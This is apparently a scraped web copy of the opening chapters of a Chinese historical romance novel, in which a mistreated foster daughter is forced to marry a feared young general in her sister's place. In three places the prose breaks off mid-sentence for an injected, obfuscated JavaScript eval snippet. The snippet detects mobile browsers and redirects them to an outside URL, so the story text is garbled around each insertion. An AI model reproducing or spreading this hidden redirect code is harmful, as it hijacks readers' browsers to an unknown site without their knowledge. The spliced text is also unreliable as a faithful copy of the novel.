《假死后夫君追悔莫及》 1. 替嫁 初春的夜晚,连绵细雨淅淅沥沥敲打着窗外的枝叶,更添湿冷,些微寒气隔着锦衾渗入,令人不觉心生寒意。 烛光昏暗,半掩的纱帐里伸出一截雪白的手腕,其上系着红绳穿过的铃铛,愈发衬得皓腕如雪。 映入眼帘的,还有一卧在榻上的美人,身上盖着一床薄被,露出颈边的素色中衣,不施粉黛,仍难掩绝色,如出水芙蓉,肤若凝脂,此刻正半睁着眼,好似盈盈秋水,我见犹怜。 “姑娘,这可是一辈子的事情,你当真决定如此吗?”李嬷嬷担忧地问道。 温轻竹眨了眨眼:“事已至此,只能应下了。” 李嬷嬷叹了口气,还待说些什么,贴身服侍的玉露便道:“可不是嘛,她们欺人太甚,老爷也不管管,眼睁睁看着姑娘入那龙潭虎穴,姑娘这般娇弱,哪里抗拒得了……” “你先下去吧,我有话和嬷嬷说。” 不等玉露把话说完,温轻竹便摆了摆手令她退下。 李嬷嬷见自家姑娘似要起身,忙去衣柜拿了件外裳,一边仔细给她披上,一边说道:“姑娘打小体弱,风寒初愈,可不能再有什么闪失。” “还是嬷嬷对我好。”少女微微一笑,才将将养好的身骨如弱柳扶风,令人怜惜。 “姑娘这是说什么话呢,老奴只觉愧对姑娘。”李嬷嬷说着,伤感地擦了擦眼角,“原本姑娘亦有好的出身,可都怪老奴没本事让姑娘沦落至此,平白受了十几年的苦……” 温轻竹知道李嬷嬷又在为当年抱着自己与主家走失的事情伤感,叹息一声,道:“想来我此生亲缘淡薄,不关嬷嬷的事,嬷嬷不要过度自责了。” 细想来,可不是亲缘淡薄吗?她尚在襁褓里便与亲生父母走失,纵然做了安定侯的养女,名义上的侯府二姑娘,可侯夫人却疑心她是丈夫在外风流得来的私生女,自小不待见她,吃穿用度连得势的丫鬟都不如,甚至纵容侯府下人讥讽嘲笑她。 亲生父母不详,养父母不待见。 十几年的侯府生活,也只是外人看来光鲜亮丽罢了。 “姑娘真的要代大姑娘嫁入将军府吗?”李嬷嬷问道。 温轻竹轻轻点头:“嗯。” 个中滋味,她已不愿多说。 人人都艳羡侯府千金的婚事,要知道那可是辅国将军之子,大殷战神萧丞原啊,多少贵女的春闺梦里人! 如果这门婚事不是侯府嫡女温紫衣在大婚前一夜,与侯夫人骆宜秋一同来逼迫她替嫁的话,确实是个好归宿。 可若真有那么好,温紫衣会好心让给她吗? 不过就是在前几日,温紫衣听闻,萧丞原之所以行了冠礼后迟迟不娶妻,乃是患有隐疾,性情暴戾无常。传言在军营时,旁人送去的女子,没几天就被他折腾死了扔出去,“杀神”之称更是早已传扬了出去。 是以,知晓内情的几家世族贵女都不会考虑萧丞原,也就是温紫衣平日里自视清高,不愿与那些贵女结交,因而消息滞塞了些。 不过,在出嫁之前,温紫衣从交好的贵女那里听闻了不少关于萧丞原的事情。而婚期临近,长安城家喻户晓,连圣上也知晓了这门婚事,称到时候要派人送贺礼,此时退婚实在有伤侯府颜面。于是她便软磨硬泡,说服了侯夫人一同来劝说温轻竹替嫁。 回想起骆宜秋当时的话语,温轻竹只觉遍体寒凉。 她尚在消化对方要自己替嫁的说法,震惊之余还未做出反应,便听见她状似不经意道:“二姑娘,李嬷嬷是从小伺候你的吧?你们二人素来亲厚,李嬷嬷年纪也大了,万一哪里磕着碰着,可没那么容易好了,你应当不愿见她再受磋磨吧。” 她知道,这是威胁,骆宜秋知晓李嬷嬷在自己心中的分量,这般胁迫她点头应下替嫁事宜。 可她能怎么办呢? “母亲……”温轻竹落在膝上的手紧紧揪住衣裙上的竹影清风图纹,竭力克制自己的情绪,低声道:“我嫁,还望母亲不要为难嬷嬷。” “好孩子,侯府没有白养你。”骆宜秋似乎终于将她看顺眼了,甚至为她理了理稍显凌乱的发丝。 温轻竹只觉一股寒气袭遍全身,稍微躲了下这突如其来的亲昵,下一瞬反应过来,仍旧顺着骆宜秋,等对方收回手,才终于恢复自然,问道:“母亲不怕此事被皇上和将军府知晓吗?” 两家结亲的阵势那样大,全长安城的黎民百姓都知晓了,还惊动了皇上,想必替嫁没那么好施行。就怕到时落得个欺君罔上的罪名,安定侯府将她撇得一干二净,那她可真是走投无路了。 “当初结亲时,只说侯府嫡女与辅国将军之子成婚,并未说是哪一个嫡女。”骆宜秋敏锐地瞧出养女的担忧,接着道,“放心好了,回头我跟老爷说,把你记在我的名下,你便是侯府嫡女了,看谁敢嚼舌根。” 骆宜秋眼波微动,她从来没有正眼看这养女,虽然从小放在身边,但也没尽心教养过,更没有正式记名。她也知晓其在侯府的艰难处境,若不是情况特殊,自己才不会拱手送了这样好的婚事,又给侯府嫡女身份,如此说来二姑娘合该感谢她才是。 “多谢母亲,”温轻竹螓首低垂,柔顺道,“轻竹明日便和萧将军完婚,定不会让侯府难堪。” …… 回过神来,温轻竹看见李嬷嬷充满担忧的双眼,宽慰道:“我没事,嬷嬷别担心。” “其实……”李嬷嬷迟疑开口,“若是姑娘愿意,老奴拼着性命,也要联系到姑娘的亲人,定不会让姑娘继续被人欺负了去。” “罢了,”温轻竹握住李嬷嬷粗糙而又苍老的手,轻声道,“这次就当偿还安定侯府多年的养育之恩吧。” “至于寻亲一事,万事随缘。” 这么多年,不知道什么缘由,亲生父母没有寻回她,即便相认,真的能弥补十几年的时光与隔阂么?她已经有了这样的养父母,实在不知面对亲生父母又会是怎样的情形。 “可是姑娘……”李嬷嬷面露急色,想要说什么,却又似有所顾忌,终究住了口。 “况且,我也不想待在安定侯府了,眼下有机会离开,嬷嬷难道不为我高兴吗?” “高兴,高兴。”李嬷嬷闷声说着,面上却显然不是这么回事。 温轻竹已不欲再说什么,只道:“嬷嬷年纪大了,早点歇息吧。” 已是夜半,怕李嬷嬷忧心,温轻竹吹灭蜡烛,躺在榻上,回想今日发生的事情,难以安眠,睁眼瞧见月光透过窗户洒落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041519|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满地,一室如霜。时有虫鸣隐隐传来,令她的心绪更加纷乱。 明日她便可离开此处,纵然前路未知,纵然那少年将军颇多惊世传闻,也由不得她后悔。 温轻竹辗转反侧,许久才渐渐睡去。 -- “姑娘,时辰到了,该起来梳妆了!” 温轻竹缓缓睁开眼睛,揉了揉昏沉发痛的脑袋,一夜无梦,她只浅眠了几个时辰,便被叫醒了。 时辰尚早,她还晕沉沉的,在丫鬟的搀扶下换好嫁衣,才稍微清醒了几分。 看到身边忙碌的丫鬟都是生面孔,不禁问道:“怎么是你,玉露呢?” 为首的丫鬟霜叶利落地编着发髻,恭顺道:“奴婢是夫人遣来为二姑娘梳妆打扮的,夫人说二姑娘这里人手不够,玉露手上又没经过什么事,是以让奴婢来帮衬二姑娘,有什么事您尽管吩咐奴婢就是。” 温轻竹默了一瞬,轻轻点头:“还是母亲考虑得周到,今日要麻烦你了。” 骆宜秋这是怕她反悔逃走,连一个身边人都不留给她,遣了心腹丫鬟看着她,可真是周到啊。 “二姑娘这样说可真是折煞奴婢了。”霜叶利落地插上发钗,笑道,“二姑娘是主子,怎么使唤奴婢都是应当的。况且,今日是二姑娘的好日子,奴婢一定将您打扮得漂漂亮亮的嫁入将军府。” 温轻竹但笑不语。 这些底下人不过是见风使舵,以前她被奴仆嘲笑欺侮,霜叶作骆宜秋身边的大丫鬟也不是没看见过,还不是视而不见,没有为她解围过一次。如今看她要嫁入将军府了,便会说些讨喜的话哄人。 真是如画皮一般,随时能换一张脸,变幻莫测。 还不如她身边的玉露,虽然没那么机灵,但胜在有什么说什么,是个直肠子。 “二姑娘可真美啊,姑爷见了您一定会感到非常惊艳的!” 不知道哪个小丫鬟夸了一句,其他人也都随声附和。 “是啊,是啊,二姑娘一定是长安城最美的新娘子。” “可不是嘛,二姑娘待会儿乘轿出嫁,恐怕今日长安城的街道都要被看新娘子的人踏宽几里呢。” 温轻竹闻声,朝面前的铜镜看去,镜中女子身着大红嫁衣,雪肤花貌,眉间火红的花钿与唇上正红的口脂,增添了许多气色。她向来衣着打扮朴素,吃穿用度都很俭省,乍一看还有些陌生。 她对着镜子微微一笑,直叫旁边的丫鬟们都看呆了。 “李嬷嬷在哪?我想和她说会儿话。”温轻竹收敛了笑意,扶了下那支摇摇欲坠的银花照夜垂珠簪。 霜叶瞧着二姑娘神色还算正常,应不会计划逃婚,且李嬷嬷年事已高,与二姑娘素来亲厚,说些体己话也没什么,便对一个小丫鬟道:“快去请李嬷嬷过来。” 半盏茶的工夫,温轻竹便听见外面人声嘈杂,脚步声由远及近。 她心知李嬷嬷来了,要让嬷嬷看看自个儿最美的模样,方站起身,门“吱呀”一声被推开了。 “嬷嬷……”温轻竹转身,面上有着浅淡的笑意。 话未尽便被人打断:“人靠衣装马靠鞍,看不出来,二妹妹穿上嫁衣竟如此仙姿玉色。”此人说完,还嗤笑了一声。 2. 羞辱 温轻竹闻言,面上的笑意瞬间消失,很快恢复冷淡,唤道:“大姐姐。” 只见来人头上插着凤蝶鎏金镂空碧草簪,是宫里赏赐下来的,除此以外还点缀了各种闪亮剔透的发钗,真可谓满头珠翠。她面上敷粉,艳若桃李,红唇娇艳欲滴,身着茜色蝶栖牡丹百褶裙,愈发衬得冰肌玉肤。 谁见了不知,这是安定侯府最受宠爱的嫡女,温紫衣。 此刻她薄唇又启:“我过来瞧瞧新娘子,怎么,二妹妹这是不欢迎么?” “没有的,大姐姐。”温轻竹摇头道,一股涩意弥漫在心间。 这婚事原本便是嫡姐的,她岂能不知对方此时前来是什么目的。 “看来我倒是来晚了,二妹妹都梳妆打扮妥当了。”温紫衣细细端详着,对屋里的丫鬟道,“你们都下去吧,我想和二姑娘单独聊会儿天。” 霜叶极有眼色地带走了一众丫鬟。 “二妹妹,”屋子里只剩她们二人,温紫衣更不用顾忌什么,环视了一圈坐下,直截了当地说道,“穿着别人的不要的嫁衣,用着别人挑剩下的首饰,感觉如何?” 原本这嫁衣便是为她量体定制的,依照她的喜好,用金线织了大片祥瑞纹样,极为奢华贵气。她还没来得及试穿,便听闻了那萧家少将军的骇人事迹,倒是便宜了温轻竹,二人身量相近,穿着倒也合适。 她不爽的是,自个儿这个平日里只着素衣的二妹妹,穿上这身嫁衣竟然如此惊艳。一想到这身嫁衣原本属于自己,时间仓促来不及另做,让二妹妹抢先穿了,心里便有一股气憋着出不来。 温轻竹听了这话,不自觉地捏紧衣袖,一时之间竟想不出应对的话语来。她从小就被各种打压,嫡姐更是没少讥讽嘲笑她,她向来都是能忍则忍,谁让她只是个来历不明的养女呢。 “怎么不说话呀?”温紫衣最是看不惯她可怜兮兮,保持沉默的模样,好似有多委屈似的,于是仍然自顾自往下说,想激她回应,“别以为你捡了这个婚事,还能记在我娘名下成了嫡女,就是个正经主子了。我告诉你,没门!” “你永远是出身低贱的野种,上不得台面的东西!” 原来她是为自己将被记为嫡女感到不高兴,温轻竹虽觉得刺耳,也不想与之争执,抿了抿唇,压下起伏的心绪,说道:“大姐姐,我无意当什么嫡女分走侯爷和夫人对你的宠爱,这只是权宜之计。”况且,只是挂个名给外人看而已。 “权宜之计?”温紫衣冷笑,“别以为我不知道,你肯定在心里恨我和母亲的安排,不愿嫁给那个活阎罗。如今还哄着母亲将嫡女名头给你这个冒牌货,你敢说这不是你谋划好的?” 她爹安定侯并不是什么专情之人,府里叫不出名字的庶子庶女一大堆,姨娘们每次见了她那个谄媚样,庶弟庶妹们畏首畏尾的模样,她早就厌烦了。还好安定侯就她这一个嫡女,什么都依着她,连夫婿人选都令人画了画像让她自个儿选,只是她光看容貌选了个惹不起的杀神。 好在她还有位二妹妹,安定侯名义上的养女,私底下母亲跟她多次猜测过,没准儿又是父亲在哪个秦楼楚馆欠下的风流债,生了这么个狐狸精。不过这狐狸精倒也有用处,与她年岁相仿,代她嫁入将军府正好。 只是没想到,她这位表面上不争不抢的二妹妹,原来也和旁人一样,惦记着嫡女的名号。 既能代她嫁入萧家,有了名义上的侯府嫡女称号,又何必真的记在母亲名下?萧家是武将世家,心思粗糙,未必真会追究其嫡女身份。 “我并未这么想过,”温轻竹尽量用平和的语气,尝试着跟嫡姐解释,“昨夜母亲提出要将我记在她名下,当时考虑欠妥应了下来,没想到大姐姐会这般介意此事。如此,我待会儿跟母亲说,不用这么麻烦。” 不过就是几句话的事情,反正她都要离开安定侯府了,不想与之有更多的牵扯。 -- “姑娘!” 温紫衣撇撇嘴,眼神上挑,怎么看新娘子怎么觉得刺眼,正欲说些别的挑刺,就听到一道苍老的声音,索性作罢,好整以暇瞧着温轻竹动作。 “李嬷嬷,你来了。”温轻竹忙迎上前去。 “哎哟,”李嬷嬷大抵有些激动,走快了两步,险些跌倒,幸好温轻竹眼疾手快上前搀住了她,李嬷嬷叹气,“姑娘你看,我真是老了,不中用了,还不知能服侍姑娘多久。如今看着姑娘出嫁,唯愿姑娘能够平安喜乐。” 李嬷嬷边说,边擦眼泪。这孩子命苦,她从小看着长大,怎奈自个儿为奴为婢,地位低下,不能很好照看她,如今就连婚事也…… 若将军府是个好归宿倒也罢了,可坊间流言实在耸人听闻,大姑娘都不要的婚事,究竟能好吗? “真是主仆情深呐!”温紫衣说着,拍起手来。 李嬷嬷这才注意到她,连忙行礼:“大姑娘,老奴老眼昏花,没注意到您也在,实在失礼。” “不必了,”温紫衣摆摆手,起身欲走,眼睛瞥向旁的地方,“李嬷嬷年纪大了,若是有个闪失,我可受不起。” “别忘了你说过的话!”走到门口,温紫衣回过头来警告道,“别想耍心机欺骗我,否则,你知道后果的。” 是的,她知道后果。小时候不过是弄丢了温紫衣给她的小玩意儿,因为害怕撒谎自己珍藏起来了,找了一上午也没找到,温紫衣就命人将她丢进假山狭小的石洞中不准出来,说这是对她的惩罚。 小小的人儿不知道这是戏耍,外面也没人把守,愣是在昏暗潮湿的石洞里待了一下午,还睡了过去。直至夕阳西下,只剩一缕残阳挂在天边时,经过的丫鬟看见假山里的衣角,禀报给心急如焚的李嬷嬷,这才将她抱了出来。 此后,她尤其害怕一个人待在光线昏暗的地方,会让她想起那个充满潮湿与恐惧的午后,会让她觉得看不见的恶鬼在蚕食她的光明与勇气。 “姑娘,在想什么呢?”李嬷嬷见她立在原地,神思恍惚,问道。 “没什么,”温轻竹勉强一笑,“只是想到马上就能离开这里了,感到开心。” 李嬷嬷一眼看出端倪,说道:“是不是大姑娘又说什么了?” “没有,”温轻竹扶着李嬷嬷坐下,接着说道,“大姐姐是来道贺的,我们姐妹俩随便聊了几句。” “也罢,老奴如今是不中用了。”李嬷嬷声音有几分苍凉,“只望姑娘余生顺遂,如此,也算是给了那位交待。” 温轻竹听了也觉得难受,她知道李嬷嬷是在关心自己,这十几年来她都活在李嬷嬷的庇护下,而如今李嬷嬷年纪大了,她不愿让李嬷嬷再为自己的事情劳神操心。 她握住李嬷嬷因常年操劳粗糙如树皮的双手,说道:“我身边就嬷嬷和玉露信得过,待入了将军府,恐怕不能与嬷嬷时常相见,我待会儿去求母亲,让嬷嬷也一块儿到将军府去。” “姑娘有这份心就够了,老奴就留在侯府,姑娘想什么时候回来看老奴都成。”李嬷嬷说着,想要像以前一样,抚摸自家姑娘的头,她的手将要落下时,发觉姑娘簪了满头华丽珠翠,于是笑道,“姑娘今日可真美呀!” 当初姑娘还是襁褓中的婴儿时,那么脆弱的小人儿,险些要冻得活不下去了,还是她哄骗安定侯:这孩子出生时天有异象,是福星转世,定会护佑侯府长盛不衰。彼时沉迷星象的安定侯深信不疑,收留了她们,并将姑娘认为养女。 一晃十几年过去了,如今姑娘已出落得清艳绝俗,隐隐有其母风姿。 “那好吧。”温轻竹鼻子有些发酸,她吸了吸鼻子,尽量不让李嬷嬷看出异样,“那嬷嬷一定要保重好身体,等我回来看你。” 她也晓得,女子出嫁,一般都是带着贴身丫鬟陪嫁,且李嬷嬷在侯府多年,早已成了管事嬷嬷,平日里负责诸多事务,哪有那么容易撇下,骆宜秋也不会轻易放人。 “玉露那丫头年轻莽撞,也不知到了将军府能否伺候好姑娘。”李嬷嬷担忧道。 温轻竹不禁笑道:“嬷嬷,我都多大人了,你就放心吧,我自己也能照顾好自己的。” 主仆俩说了好一会儿话,回忆起从前发生的种种事情,两人无不感慨。骆宜秋过来时,温轻竹已眼眶微红,哽着嗓子唤道:“母亲。” “好孩子,母亲知道你委屈。”骆宜秋进屋,作势轻拍养女肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041520|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀安慰她,“这事是紫衣做的不好,你也是我看着长大的,若不是形势所迫,母亲也舍不得让你这么早就嫁人。” 温轻竹去岁及笄,今年不过也才二八年华,时下各大名门望族都将自家千金捧在手心,不舍女儿早早嫁人。 李嬷嬷候在一旁听着,也觉悲戚,如若不是当年出了事,姑娘也是主子的掌上明珠,更不会被人磋磨欺负,名不正言不顺地替嫁到将军府。 “轻竹不委屈。”温轻竹怕李嬷嬷担心,低声答道,并未再说其他的。 反而骆宜秋似有旁的话要说,让李嬷嬷去忙别的事了。 “二姑娘,我思来想去,觉得昨日说让你记在我名下一事,真要实施着实有些难度。”骆宜秋面露难色,出声埋怨道,“不是母亲不帮你啊,你也知晓,侯府里这么多姨娘,可眼巴巴等着,想要给你那些妹妹们谋一门好亲事。如今已从你这开了先例,得了好婚事,若知晓再将你记为嫡女恐怕……” 温轻竹明白她未尽之意,她尚且只是个养女,严格来说,不如与安定侯有血缘关系的庶女,可她竟能嫁入将军府,倘若再成了嫡女,不知多少庶妹会眼红,到时候安定侯府定会鸡犬不宁。 再者,先前温紫衣来过一趟,为这事对她好一顿奚落讥讽,定然怕她出尔反尔,回去后找骆宜秋哭诉一通,让骆宜秋收回之前的承诺。 温轻竹平静道:“我都明白的,母亲。” 她现在只一心离开安定侯府,并不看重什么嫡女身份。再说了,即便将她记为嫡女,骆宜秋也不可能把她当亲生女儿看待,何必强求呢。 “你明白就好,母亲知道,你最明事理了。”骆宜秋说着,脸上堆满笑容,要来握她的手。 温轻竹僵了一下,任由她握住。 只听骆宜秋又道:“你代紫衣嫁入将军府一事于侯府毕竟不太光彩,因而越少人知道越好,连侯爷我都没敢说,待时辰到了你就盖好盖头,不要出声,母亲陪你出府。” 温轻竹应了。 她知道安定侯在有些事上很较真,倘使他现在知晓了替嫁这事,还不得闹翻天,阖府上下都会知晓,传出去不仅侯府脸面没了,让圣上听闻了可就是欺君大罪。 骆宜秋如此行事,是先斩后奏,等安定侯反应过来,她早就到将军府了,只能帮着遮掩下来。 “到时候能不能让玉露陪着我?”李嬷嬷不可能离府,但丫鬟们可以,温轻竹是真的舍不下这个大大咧咧的丫鬟。 “当然可以了,”骆宜秋倒不在意府里少一两个丫鬟,“不过,就她一个,笨手笨脚的,未免让将军府看了笑话。霜叶跟了我好几年,识大体懂进退,也一并带去吧。” 既是她身边的丫鬟,待会儿二姑娘出府,侯府众人见到也不会觉得奇怪,只会以为是侯夫人疼爱嫡女,因而割爱派了自己的丫鬟。 除此之外,霜叶姿容尚可,一张脸长很是清秀,到时候若被那萧家小将军收用,也是好事一桩。 温轻竹尚且想不到这么深,只注意到骆宜秋答应她带走玉露了,忙道:“多谢母亲。” 两人并没有多余的话要讲,相对无言,坐着未免沉闷,骆宜秋又派了丫鬟进来清点养女的妆奁衣物。好不容易等到时辰到了,底下人通报将军府迎亲的人来了,骆宜秋这才扶着温轻竹出去。 眼看将军府的人在门口等着,安定侯叮嘱道:“将军府不比侯府,没人惯着你,嫁进去了定要好生侍奉双亲,体贴夫婿。” 温轻竹手心捏出了汗,模仿温紫衣的语气,低声道:“爹爹,女儿省得。” 安定侯摆了摆手,玉露、霜叶扶着温轻竹走向停在一旁的喜轿。 骑着高头大马的男子似等得不耐烦了,打了声哈欠。 霜叶见此人玉树临风,面若冠玉,猜是那位,心道也没有那么可怕啊,殷勤道:“姑……” 萧怀雁并没有理睬,只对着新娘子说道:“你就是我嫂子吧,要等这么久,难怪我哥不来,让我替他迎亲。” 温轻竹脚步一顿,指甲深深掐进手心,他没有来么? 不过没关系,只是迎亲而已。她这样想着,由玉露扶着缓缓走向喜轿。 3. 出嫁 长安城皆知,今日是安定侯府嫡女出嫁的日子,是以街市上好不热闹,人们推推搡搡,希望能一睹这位千金小姐的芳容,可轿中人岂是那么容易得见的? 温轻竹听着外面嘈杂的声音,不看也知道,定是长安城的百姓将道路围了个水泄不通,而身处议论中心的她,只觉得有点烦闷。 她从此是脱离安定侯府了,可到了将军府又是怎样的境地呢?倘若被那“杀神”知晓自己是冒名顶替的,她又该如何求生? 正想着,轿子突然晃了一下,温轻竹顿时吓得不轻,惊道:“怎么了?” “无事姑娘,方才不过是一只狼犬没拴好绳从轿前奔了过去,惊到轿夫了。”玉露应声道。 温轻竹舒了口气,没事便好,听嬷嬷说女子出嫁时,这轿子是万万停不得的,要一路稳稳当当的行至夫家,日后才能与丈夫平顺和美地度过一生。虽说她向来不信这些,不过嬷嬷说的话,听一听也无妨。 前头的萧怀雁倒是有些本事,有他在,那些百姓虽然仍在围观,但也没人再敢上前,反而有不少人拉着身边人让出道路,是以轿子一息不曾停地直往将军府去。 “姑娘,给。”估摸着将军府快到了,玉露悄悄把手伸进了轿里,递给自家姑娘一个东西。 温轻竹愕然接过,问道:“你怎么还把这东西带了一路?” 她瞧着手上的红苹果,有些愣神。 玉露不好意思地笑了下:“这是嬷嬷给的,让我一定要拿给姑娘您,在进将军府前吃掉,寓意平平安安,一生无虞。” “只是,我着急忙慌地忘了,刚才摸到包袱里圆滚滚的才想起来。”玉露越说越小声。 “好,我吃!”温轻竹啃了一口苹果,含糊不清道,“多谢你和嬷嬷的美意。” 这苹果甜丝丝的,那一丁点儿的酸味她觉得也可以忽略不计,她是最怕酸的人了,可此时她只尝到甜味,因为这其中饱含着李嬷嬷和玉露对她的关心和祝福。再苦的日子她都捱过来了,她相信,以后的日子会越来越好的。 这般想着,将军府很快到了,温轻竹在喜娘的搀扶下,入了将军府。 “这便是安定侯府嫡女温姑娘吧?想必与少将军定是一对佳偶。” “听说了没?这萧小将军原是不愿的,还是萧将军摁着他应下这门亲事,且还奏告了当今圣上,说是这狂放不羁的逆子也该是时候收心定性了,如此才能更好地为家国效力。” “这辅国将军说得倒也不无道理,不过这婚姻之事,恐怕还得当事人自个儿亲历了才行。” …… 众人议论纷纷,一时热闹无比,温轻竹想不听到些什么也难。 她随着喜娘的步子缓缓步入正厅,又听一个贵女似不经意道:“你们可别忘了那些传闻,少将军若是知晓你们在他背后乱嚼舌根,定会将你们剥皮抽筋!” 先前还抱着吃瓜心思的贵女们顿时噤若寒蝉,此时只觉庆幸自家长辈没有凑上去与将军府结亲。 少将军萧丞原的确年少有为,在沙场上立下赫赫战功,颇有其父当年风范,甚至青出于蓝。可传闻他阴狠暴戾,身患隐疾,曾在边塞病发时折腾没了几个女子。 因而即便他班师回朝,听到风声的世家贵族无一人愿意将女儿许配于他。偏偏这安定侯自视甚高,不愿与人私交过甚,只任着疼爱的女儿挑拣,而辅国将军也有心想为儿子娶个身份登对的妻子,二人一拍即合,这婚事异常顺利地定了下来。 可这会儿,眼看快到拜堂的吉时,这少将军萧丞原连个人影也不见。就连迎亲,也是让胞弟萧怀雁代劳,辅国将军似乎对此亦是无可奈何。 “真是胡闹!”辅国将军萧鸿晟看着满屋子宾客,不由眉头紧皱,对萧怀雁道,“你哥哥呢?今日是他大喜的日子,怎能这般不上心?” 萧怀雁道:“哥哥说了,这门亲事非他所愿,是以这娘子娶来当个摆设便是,何必要他亲自到场,抱个大公鸡拜堂即可。” “就是委屈嫂子了。”说完,他看了温轻竹一眼。不怪别的,要怪就怪她命不好,非要缠上哥哥。 此言一出,全场轰然。本朝自立国以来,王公贵族里还未曾有在成亲时和公鸡拜堂的先例。往小了说是不看重新娘,往大了说可就是瞧不起新娘的家族。世家大族向来都是要脸面的,可不敢如此随意行事。 再者,这少将军萧丞原人就在长安,并非不得已的情况下,如此晾着新妇,可是一点也没给女方颜面。依着安定侯的爱女心切,往后两家怕是有得折腾了。 “简直荒唐!”萧鸿晟气咻咻道,叫来了管事,“给你一炷香的时间,不管用什么法子,将少将军给我带来!” 随后勉强扯出一丝笑,拱手道:“诸位来宾,在下教子无方,让各位见笑了!还请各位尽兴而为。” “姑娘……”玉露扯了扯自家姑娘的衣袖,欲言又止。 温轻竹安抚性地拍了拍她的手,并未说什么。 她一个还未正式进门的新妇,在这种场合能说什么呢?经历了这半日,她只觉得疲累不堪,更兼滴水未进便早早上了轿,只是希望这场风波快些过去,她也好歇息一会儿,吃些糕点果腹。 “嫂子倒是沉得住气。”萧怀雁端详着这位始终静立的未来嫂子,心中泛起一丝怜悯,但很快想到哥哥的交代,又故意试探道,“莫非,嫂子一心想嫁入将军府是别有所图?” 他的声音说大不大,说小也不小,好在宾客离得远,想来也听不清他说了什么话。 想到此,温轻竹捏紧了手心,强撑着没有露出一丝颤音:“二弟说什么呢,我自然是心悦少将军的。” 的确,就凭一幅画像倾心于萧丞原,只不过,主人公是嫡姐温紫衣,而不是她这个来历不明的养女。 “你最好是,否则……”好似一拳砸在了棉花上,萧怀雁止住了话头,径自去了旁处。 不是他不愿帮哥哥,而是他确实还挑不出这未来嫂子的错处,总归哥哥也是要来的,不过是想给她个下马威罢了,让她知晓将军府没那么好进。 “少将军来了!” 只听一声高喊,方才嘈杂的声音霎时归于寂静,间或有人窃窃私语。 众人都在打量迟到的新郎,很显然,萧丞原似乎当真不喜这门婚事,身着铠甲便来拜堂了。一时间议论四起,有人抱着看热闹的心态,有人则是默默为温氏女捏了把汗。 萧鸿晟再也维持不了体面,大声道:“胡闹!你还记得今天是什么日子吗?” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041521|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家好歹也是世代辅佐君主的名门望族,怎可如此不重视成婚礼仪,让长安城的贵族们看了笑话,日后还如何立足? “自然记得。”只听一道冷淡的男声道,“儿子既然来了,便算没有食言,至于婚仪,就一切从简吧。” 纵使还盖着盖头,温轻竹也从周围人们的反应中,感受到了萧丞原身上无形的压迫感,随着男人脚步声越来越近,她甚至隐隐感到一股杀气逼近。 这就是她要嫁的人了,无比清醒地意识到这点,温轻竹的心到底是狠狠跳了一下。 之后她便依照喜娘的提示,完成了拜堂仪式,浑浑噩噩被人扶进了新房,好久缓不过气来。 “姑娘,姑娘?”玉露连叫了几声,她才回过神来。 随手掀起盖头,温轻竹问道:“怎么了?” 玉露急切道:“姑娘,你方才是没看到,霜叶那眼睛都粘少将军身上了,真是气死我了!这会儿也不知道那小蹄子跑哪去了,也不来服侍姑娘。” “不管她,”温轻竹对此并不在意,倒了杯水润了润喉,方才平静了心绪,“往后在将军府可得谨言慎行,这里人生地不熟的,毕竟没有李嬷嬷能处处打点妥当。” “知道了,姑娘。”玉露撇撇嘴,给姑娘拿了一碟桂花糕,“来,您多吃点。” 温轻竹吃饱喝足,见萧丞原迟迟没有回来的迹象,便让玉露将满床的红枣花生桂圆瓜子拾辍一番,收拾出一块干净的地儿,预备先歇下。 正在这时,听得外面霜叶低呼一声“少将军!” 温轻竹心知那霜叶必定做了什么不入流的举动,惹萧丞原不快了,连忙在床沿端正坐下,将盖头也重新盖好。 而玉露也早已在温轻竹示意下,悄然退去了外间候着。 “管好你的人!”萧丞原有些烦躁地进屋,随手便掀了盖头,“不要以为你算计来了这门婚事,我就会对你多看一眼,做梦!” 饶是做好心理准备,温轻竹仍是被萧丞原伤人的话语刺痛,她望着眼前身穿铠甲的俊逸男子,哽了下,终是道:“少将军,我没有……”没有痴人说梦。 “时候不早了,早些歇息吧。”萧丞原倒了一杯酒一饮而尽,也不管这合卺酒得新婚夫妇同饮的规矩,转身便要离开,“军中事务繁忙,我先回去了。” “也好,我送少将军吧。”温轻竹将沉重的头饰放在一边,起身跟在萧丞原身后。 他排斥自己定是因为他还不了解她,日后二人相处久了,他了解她了,就不会对她这么冷漠了。温轻竹这般想着,心情好了许多,决定主动化解二人之间的冷淡气氛。 毕竟,俗话说“背靠大树好乘凉”,如今她人在将军府,也该提前为自己筹谋一二,得先讨好了萧丞原,这样,即使日后身份曝光,或许他还会顾念旧情,放自己一条生路。 